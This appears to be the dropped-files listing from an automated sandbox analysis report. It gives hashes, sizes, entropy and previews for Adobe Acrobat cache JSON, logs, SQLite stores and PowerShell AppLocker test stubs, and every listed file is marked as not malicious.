SHA-512:	2054EA7C50E9532AA82B6D7C0425799640E02167073C349107F9CCE5FFB5F887BE8E3FB6B79E5A0C2DA125F3C29000D815C0E9CCA444B2EFC95D9CC8FFAF511B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"dab7afff-b6a3-45e6-bf2d-6d760adef9ad","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736718543278,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.3047973984041565
Encrypted:	false
SSDEEP:	6:YEQXJ2HXaLUpn4WsGiIPEeOF0YMeoAvJfFldPeUkwRe9:YvXKXxnbsdTeOsVGz8Ukee9
MD5:	716FC3E2DAB73C432A1C55B422153EC1
SHA1:	D0F53F5C7AFB6206D88A1F1652C0E67831191BBB
SHA-256:	B3B06B9B4B32FCCE81191E7BE1C0F74C3C693C33BE716A34BF04E64270601329
SHA-512:	E2410ADBBD4445D07A0469E72F1AB99519A8286D6C1756B7218C32F981B253993AA36480598C63B6F5C322C26D14A3536B94CD2257F8857177FFA78152F90E16
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"dab7afff-b6a3-45e6-bf2d-6d760adef9ad","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736718543278,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.313125370873559
Encrypted:	false
SSDEEP:	6:YEQXJ2HXaLUpn4WsGiIPEeOF0YMeoAvJfzdPeUkwRe9:YvXKXxnbsdTeOsVGb8Ukee9
MD5:	D3805091B0F3842B5E563BB6A137BF64
SHA1:	F532519FECAC45A3A7A0347AD8619FF022713686
SHA-256:	C1146D48AE6DAB797C3108E906F935A45E32E9A7E59B5E67A9F704E5560622FB
SHA-512:	03EFE5A80317E7C084E9BF137EFECACAF0F7DA0F173BBEE91D0B2D3DCD5D0DB112162A4EB5A16F0EF1DC1C4311BC9705F415AA1398AAA23A822C5F9B710DD0AB
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"dab7afff-b6a3-45e6-bf2d-6d760adef9ad","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736718543278,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.294429642213443
Encrypted:	false
SSDEEP:	6:YEQXJ2HXaLUpn4WsGiIPEeOF0YMeoAvJfYdPeUkwRe9:YvXKXxnbsdTeOsVGg8Ukee9
MD5:	DDED7BFA24DD7BBE3700B9D0FA923289
SHA1:	9B95797D22AFD615ACF89144045CB9A05EADCE9C
SHA-256:	5808CC9264327BE134C64BEF8BDAF595297910142BD66564241D3B65015CB178
SHA-512:	B1764C8E5B1988D02F1C4C2BF4A909BDF8668C0A9D9705544C454DC9F0702ADE61DB7269E099746CCC01ACBC93FD3D8DE0D277EB684EA471BA41AA522EF8FE0C
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"dab7afff-b6a3-45e6-bf2d-6d760adef9ad","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736718543278,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.280680936284615
Encrypted:	false
SSDEEP:	6:YEQXJ2HXaLUpn4WsGiIPEeOF0YMeoAvJf+dPeUkwRe9:YvXKXxnbsdTeOsVG28Ukee9
MD5:	B2D356D47AE1175A6FE4FCA0A27CF477
SHA1:	6FFEB06303B3B88F0165D6F1BCD1ADD67E4EC4A3
SHA-256:	C863F44CAD0DE2D4830CB361B7D236CCC08C827EA9D798DEDD7AD0C865E7EC76
SHA-512:	D6BF7F486CB1FF3ECBAC50D9DD16FB8CF790FCA129F8F117CC56970AE5BCC772070561B3FE55F5C074C579A199E17CF7E46F2E7F152B698D4B9BF135D98D71EB
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"dab7afff-b6a3-45e6-bf2d-6d760adef9ad","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736718543278,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.2780150241332615
Encrypted:	false
SSDEEP:	6:YEQXJ2HXaLUpn4WsGiIPEeOF0YMeoAvJfbPtdPeUkwRe9:YvXKXxnbsdTeOsVGDV8Ukee9
MD5:	7E8E46E627962F0785FD3245A52D0101
SHA1:	5B9F4C0705477D233C7F08B6816735BAABDFDF3C
SHA-256:	FBE90EAF92CEF25B6329796DF366DEA6085D84977D6D17F87BA7E16BD52598A8
SHA-512:	43E908FBD3BEDA2A38425E45612208D0A741959FD7BD6EB589A43B5EB12FC5AE57954FB8F9AAD1A9C3E5C6F7913DD99DEA7671D70659E064E00DCF6E56F525A7
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"dab7afff-b6a3-45e6-bf2d-6d760adef9ad","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736718543278,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.2834293427865635
Encrypted:	false
SSDEEP:	6:YEQXJ2HXaLUpn4WsGiIPEeOF0YMeoAvJf21rPeUkwRe9:YvXKXxnbsdTeOsVG+16Ukee9
MD5:	427C638ACBAF87B371F0AF09F432C0F3
SHA1:	A02A54A6BBD9B92FA2ECF8C7603BD6CFF50B5AFD
SHA-256:	66792DCE97825D62B22316A5D2643F4D2F5BCA9B986341607F83C0156663FDA8
SHA-512:	F1D7AC159E5FF3F181493C703D1AD0D1FCA2DD73A858557E055FD51110163739ED3C4E867510613D98AEF60BEBCDEA774A54E96EC89AA14F95A010BC758E0C0F
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"dab7afff-b6a3-45e6-bf2d-6d760adef9ad","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736718543278,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.656567965725277
Encrypted:	false
SSDEEP:	24:Yv6XxbmeOsmamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BS5:YvZesBgkDMUJUAh8cvM5
MD5:	8F01D865AB3990C00114BDBE45895576
SHA1:	9017AF78183905622FAE505E7FC0146A8AF4FA47
SHA-256:	4B42748E18422220E7D8BC7714F237CF72DE8C2B8EBA7EC75467D892AF47577E
SHA-512:	E5F442FF9AE08C342D801BD4D8AB9C8004369FAE13A6B2BF83C9C0E2085291D96B4EC5571B90A9E3018A7BCDE51E9C2C133E30906345C571EB1F50E6127880A6
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"dab7afff-b6a3-45e6-bf2d-6d760adef9ad","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736718543278,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.2560111414535315
Encrypted:	false
SSDEEP:	6:YEQXJ2HXaLUpn4WsGiIPEeOF0YMeoAvJfshHHrPeUkwRe9:YvXKXxnbsdTeOsVGUUUkee9
MD5:	7D8C23B84214E20484B1B031902AE190
SHA1:	4738C369BBF638CA7EA18C5843C42B6D0C71492C
SHA-256:	C5930846924681354F8ADAB3310C1A29AD2719D50908FB4BDA71DC4B2D3E2C02
SHA-512:	F6E092D997342E893AD727C93923C52D4FA4CE1FBF7939A36DCB5170C76342A109D1DA2290A318B37EE3BAE4923252BD645D56703D26AF460E78C9746EA52D05
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"dab7afff-b6a3-45e6-bf2d-6d760adef9ad","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736718543278,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.282585867281923
Encrypted:	false
SSDEEP:	6:YEQXJ2HXaLUpn4WsGiIPEeOF0YMeoAvJTqgFCrPeUkwRe9:YvXKXxnbsdTeOsVGTq16Ukee9
MD5:	F915612E0D6D500CEDDA7117C944ABE8
SHA1:	67380FAD22729A6EDA0F30ECE82CDD8D1EAE242A
SHA-256:	041A8F4A429B7E761B9F866CD63B10D191359EB29173313A084DDB222B424ECE
SHA-512:	10A71DB1A2913EF025238111CF432D4884485EDC9C663F7D0E0E0660E876F5FBC68AF4867D01724FB099D80E756CC2C8D9207E2CFB9D2D9FF07847DD8D563A83
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"dab7afff-b6a3-45e6-bf2d-6d760adef9ad","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736718543278,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.141157881304997
Encrypted:	false
SSDEEP:	24:YSsa5aRQRWXEayfaoolqeV8w6NN3WoycjNj0SsMG8y420oS2LSeC7BcLJajQaH5p:YTfHlRv6z3HhPG8zLoSAocL8jQys3h9A
MD5:	2ED64C070818CF16BDFF4F485B56E699
SHA1:	4C11FD3B8D280A70BB0F63AF29499D55B0187EB4
SHA-256:	5687D97EB5FFC39AF80837511088A7251207DBC0BF9B698990A829D592A9F099
SHA-512:	E4C1C70DA168807FF14818DD00B49DBDCD0C0CF58C9FDCE6B840D703BB46709CE80126B9B5B10DF67E433E05AC97EDC174699521CCE94687D6CB656FD00D4D36
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"7a5cd5ff0008147765dc793bded2a3ff","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736538842000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"a55dfccc261935688b434bd2c68d44f4","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736538842000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"48b821f8c2f7d34fb3ad3240867064fd","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736538842000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"b29db013f42623ab323ca22357518b2e","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736538842000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"121b4d6b420435f569d39ada1ce4f755","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736538842000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"4aab9a6db6d4bd72d940952afb61c6d0","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 25, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 25
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.4543920504273324
Encrypted:	false
SSDEEP:	48:TGufl2GL7msCvrBd6dHtbGIbPe0K3+fDy2dsY+liY:lNVmsw3SHtbDbPe0K3+fDZds
MD5:	93F070A8E623B343738D9A9253382455
SHA1:	FF9E7AC771802991570EE37E5BBE4B4154F4F3A7
SHA-256:	C386AE077150FC0FE6BE15442215A34114ECB156989FF3553A040A2DB23B4150
SHA-512:	7B76EBD6CEB75CC9F868667A1F011F735A2B7E17D8DBD0BCC7B9900437A408231C582F72C38E291954A089E92655C3EFC881307B90C4DEC80AF7D20EB4C78333
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.9591580450549042
Encrypted:	false
SSDEEP:	48:7MsrvrBd6dHtbGIbPe0K3+fDy2dsYvJfqFl2GL7msU:7d3SHtbDbPe0K3+fDZdDfKVmsU
MD5:	33EBF89BFFAFA315C4043CD8857905A2
SHA1:	7FE0234EE7B4D554BC736368B387137FC6EBD732
SHA-256:	D3A5C54619EFE0CBF916F8B4BE8124D91CF6CEC8646CD23C0DB01227B88DE860
SHA-512:	97BD4DE2C652105BFACDDF184D71D191285D91A7A198C0E1F6E7C0B4FB4010AD73B46E8A3FDABC043DC6BA02D8B905419B7027DBBB2656B5E7CEB0D3825E5FD7
Malicious:	false
Preview:	.... .c...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................v.../.././././....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgC7GuVL5W8jTohteLilETckKYyu:6a6TZ44ADEC7Gyyte22TcpK
MD5:	60D68DB86D392EFBBE5F42FDCFD1F074
SHA1:	5BC1A983D92D119516FB061550357CCFB1C7CCDE
SHA-256:	6D7F005942504F6F64A5192BAEED786A5DBDDA02BBDAC937301B56BBB66AC7C2
SHA-512:	B7503370086E3969242FD66BB5250561A5B6AB649CD348759540A9908CF83142350F3601B9896003911D0847595FC873FCDCEC36388C3E265381AEFEEDF3F2BC
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:NlllulJnp/p:NllU
MD5:	BC6DB77EB243BF62DC31267706650173
SHA1:	9E42FEFC2E92DE0DB2A2C9911C866320E41B30FF
SHA-256:	5B000939E436B6D314E3262887D8DB6E489A0DDF1E10E5D3D80F55AA25C9FC27
SHA-512:	91DC4935874ECA2A4C8DE303D83081FE945C590208BB844324D1E0C88068495E30AAE2321B3BA8A762BA08DAAEB75D9931522A47C5317766C27E6CE7D04BEEA9
Malicious:	false
Preview:	@...e.................................X..............@..........

C:\Users\user\AppData\Local\Temp\MSIfe013.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.5162684137903053
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClEREqwCH:Qw946cPbiOxDlbYnuRK+bD7l
MD5:	CBF8D4AB41A084BF43F392B0DFFC7EC1
SHA1:	21692751C72E21DD25505FE6789EC83FD6EDCF39
SHA-256:	AD3FBC826A9A0CAB0D3937EA18970EBFF4E9FF7C73AEB2BFE367D58E861F9EEC
SHA-512:	5B10C824EE6715E839FA9A98C638751CE47B03D9A846631AB648197F189F90F8F190109AE22E1E76278EE2E8C7BFB9027965B1C92AFFC7CBFECFEA7A7C60759A
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .1.4.:.5.4.:.0.3. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_1jy5d5jg.mfo.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_qcz1q03z.2rm.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 14-53-57-874.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.386483451061953
Encrypted:	false
SSDEEP:	384:A2+jkjVj8jujXj+jPjghjKj0jLjmF/FRFO7t75NsXNsbNsgNssNsNNsaNsliNsTY:AXg5IqTS7Mh+oXChrYhFiQHXiz1W60ID
MD5:	F49CA270724D610D1589E217EA78D6D1
SHA1:	22D43D4BB9BDC1D1DEA734399D2D71E264AA3DD3
SHA-256:	D2FFBB2EF8FCE09991C2EFAA91B6784497E8C55845807468A3385CF6029A2F8D
SHA-512:	181B42465DE41E298329CBEB80181CBAB77CFD1701DBA31E61B2180B483BC35E2EFAFFA14C98F1ED0EDDE67F997EE4219C5318CE846BB0116A908FB2EAB61D29
Malicious:	false
Preview:	SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:808+0200 ThreadID=6044 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:809+0200 ThreadID=6044 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:809+0200 ThreadID=6044 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:809+0200 ThreadID=6044 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:809+0200 ThreadID=6044 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.3638147723225735
Encrypted:	false
SSDEEP:	384:Ze4TRvABtYZn9oE+PodvO6/DO6x89GiuU4XtjRsC5jGqakJxqgV+0oxoBATJvuFR:mo3
MD5:	5712ABDABE57445D0DD06273BD61B9E5
SHA1:	4E0CBDAD7EC19A07F6C92EF2C07C8CB40DEB4475
SHA-256:	40E9D167469E387DEE723A5423DFBF7D977B5C63C14BE01331DC82A78B5BF862
SHA-512:	5D30D7AFE13CE4CB011A61FFA607A5BAB21FA916CC9BC604C307260BA0BC9DAA65F26F6FFAFBD1C00DBD9F2DD399A08DB6FD8DCD6507663583FB57863945FC9C
Malicious:	false
Preview:	SessionID=6630b14c-da9a-46dd-a53f-d23d1c0d96a8.1736538837885 Timestamp=2025-01-10T14:53:57:885-0500 ThreadID=6808 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=6630b14c-da9a-46dd-a53f-d23d1c0d96a8.1736538837885 Timestamp=2025-01-10T14:53:57:908-0500 ThreadID=6808 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=6630b14c-da9a-46dd-a53f-d23d1c0d96a8.1736538837885 Timestamp=2025-01-10T14:53:57:908-0500 ThreadID=6808 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=6630b14c-da9a-46dd-a53f-d23d1c0d96a8.1736538837885 Timestamp=2025-01-10T14:53:57:908-0500 ThreadID=6808 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=6630b14c-da9a-46dd-a53f-d23d1c0d96a8.1736538837885 Timestamp=2025-01-10T14:53:57:909-0500 ThreadID=6808 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	35721
Entropy (8bit):	5.406384120691426
Encrypted:	false
SSDEEP:	768:hRDD/ATOlQwlgR6RgRT4xk1Bh9+R6gRldy0+AyxkHBDgRh9gRTd:hRDD/ATOlQwlgR6RgRT4xk1Bh9+R6gRL
MD5:	68C9B66DA789AEB3C2BF9034B2BE8105
SHA1:	01430E98B79EF656BAAC363D0B90F5A4E87B3E9B
SHA-256:	6FD9CD0901CF1E878F73D416181901A05B491960A06689EC1F75C77958257B2D
SHA-512:	9C4DFAEB84EFF3477FA0407FEE6ED0BA57D0FB984E5B8B1B0BA33C0F253E8F7B6ED6E69747003F62A5924774615B9C7753E7E43DE26320C6A009111790BAE969
Malicious:	false
